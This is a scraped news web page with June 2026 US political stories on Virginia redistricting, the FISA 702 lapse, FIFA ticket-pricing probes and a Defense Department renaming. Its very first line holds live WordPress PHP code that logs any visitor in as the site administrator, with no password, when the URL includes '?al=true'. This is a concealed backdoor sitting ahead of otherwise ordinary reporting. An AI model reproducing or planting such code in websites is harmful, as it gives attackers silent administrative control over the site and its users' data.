// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Virginia voters give Dems big win in the gerrymandering wars – Blue Light News
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Virginia voters give Dems big win in the gerrymandering wars

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2 months ago

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Virginia voters on Tuesday approved Democrats’ effort to gerrymander the state, giving the party an edge in its bid to reclaim the House in November.

The new map would give Democrats the chance to flip four seats currently held by Republicans. Its adoption could put Democrats slightly ahead in the national mid-decade gerrymandering wars — a result few thought possible when President Donald Trump picked the fight by pushing Texas Republicans to redraw their map last summer.

The result is a major win for Democrats’ hopes of retaking Congress, and showed their ability to mobilize voters distrustful of partisan redistricting and push back against Trump in the Democratic-leaning state. It’s also a victory for Virginia Gov. Abigail Spanberger in her first national test as governor, after she faced pressure to take a more active role in the campaign’s final stretch.

Virginia’s contest saw an explosion of outside spending and the involvement of national heavyweights like former President Barack Obama and House Minority Leader Hakeem Jeffries, as both sides raced to convince people to vote during an off-cycle April election. Even Trump, who largely stayed on the sidelines of the battle, joined an eleventh-hour tele-rally on Monday to urge voters to reject the redistricting ballot measure.

“This is really a country election. The whole country is watching,” the president said.

Democrats entered the final stretch of voting cautiously optimistic despite tight polling numbers, buoyed by their five-seat gain in California last November and an unexpected new seat in Utah drawn by the courts. Those seats, and the new Virginia map, effectively wipes out the gains Republicans made in Texas, Ohio, North Carolina and Missouri.

Still, one major threat still looms over Virginia’s map: The state’s Supreme Court could nullify the redistricting effort, a move that would effectively void the election results.

And this cycle’s gerrymandering fight isn’t over yet. Florida GOP lawmakers could act as soon as next week to unveil a new map that could offset Democrats’ new advantage.

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Politics

Republicans use World Cup to squeeze Dems on FISA extension

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June 12, 2026

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Republicans are pointing to the World Cup in their persistent bid to force Democrats to extend Section 702 of the Foreign Intelligence Surveillance Act. Millions of visitors from foreign countries have already begun their pilgrimage to the tournament, which kicked off this week.

“Hosting the World Cup is akin to having 78 Super Bowls in 38 days — a massive undertaking from a national security perspective,” the Senate GOP wrote in a post on X Friday. “Senate Democrats still let FISA 702 expire, hindering our ability to stop potential terror attacks before they happen.”

The law is all but certain to expire today as Congress remains in uproar over Trump’s appointment of Bill Pulte to serve as acting director of national intelligence. Efforts to secure a short-term extension in the House and Senate both failed Thursday.

And if a terrorist attack happened at the World Cup? “It would be a lot of finger-pointing,” Sen. Todd Young (R-Ind.) told Blue Light News on Friday. “You should just pull out every stop right now to make sure that there are no problems.”

President Donald Trump announced plans to nominate the more palatable Jay Clayton for the full-time DNI job on Thursday, a choice that garnered immediate approval from Republican leadership.

Democrats, Trump wrote Wednesday on Truth Social, “are trying to take our national security hostage because of unrelated issues.”

But Sen. Mark Warner (D-Va.), the ranking member of the chamber’s Intelligence Committee, placed the blame for the stalemate squarely on Trump. Negotiations on a long-term extension were well on their way before Trump announced his Pulte pick.

“God forbid, as we move into the World Cup, that something would happen,” he told reporters Thursday. “But if something happens, it lies at the feet of the president.”

Young pushed back. The two-term senator disagreed with Trump’s call to tap Pulte for the interim nod, but he said Democrats are the ones passing up an opportunity to reauthorize the law.

“He could have also passed a 702 reauthorization that very night he uttered those words,” he said. “And he and others chose not to.”

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Missouri NOT probing FIFA ticket prices — yet

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1 hour ago

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June 12, 2026

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Missouri is not launching a probe into pricing strategies employed by FIFA, a spokesperson from the state attorney general’s office told Blue Light News, as several states playing host to World Cup matches take the organization to task for allegedly misleading fans.

Colbey Stosberg, public affairs specialist at the Missouri Attorney General’s Office, said in a statement that the office is instead focusing on “the unfortunate opportunity it creates for scammers to exploit travelers and match attendees.”

Missouri’s Arrowhead Stadium will play host to four games during the World Cup group stage, as well as a round of 32 matchup and a quarterfinal. Argentina will take on Algeria next Tuesday, Kansas City’s first game of the tournament.

“We haven’t received any complaints about purportedly deceptive pricing strategies yet,” Stosberg said. “If we do happen to receive those, we will review the complaint and determine any appropriate actions to be taken.”

On Tuesday, Texas Attorney General Ken Paxton announced a new investigation over allegations that FIFA misled fans into spending more money for seats with premium views, only to change the seating maps.

New York and New Jersey launched their own joint investigation into ticket pricing in May. And California Attorney General Rob Bonta sent a letter to FIFA, seeking information “to assess potential violations of California law.”

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Senate panel approves Department of War name change

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2 hours ago

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June 12, 2026

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Senate panel approves Department of War name change

House Republicans have also endorsed the change, which means the Defense Department rebrand pushed by the Trump administration could become law this year…
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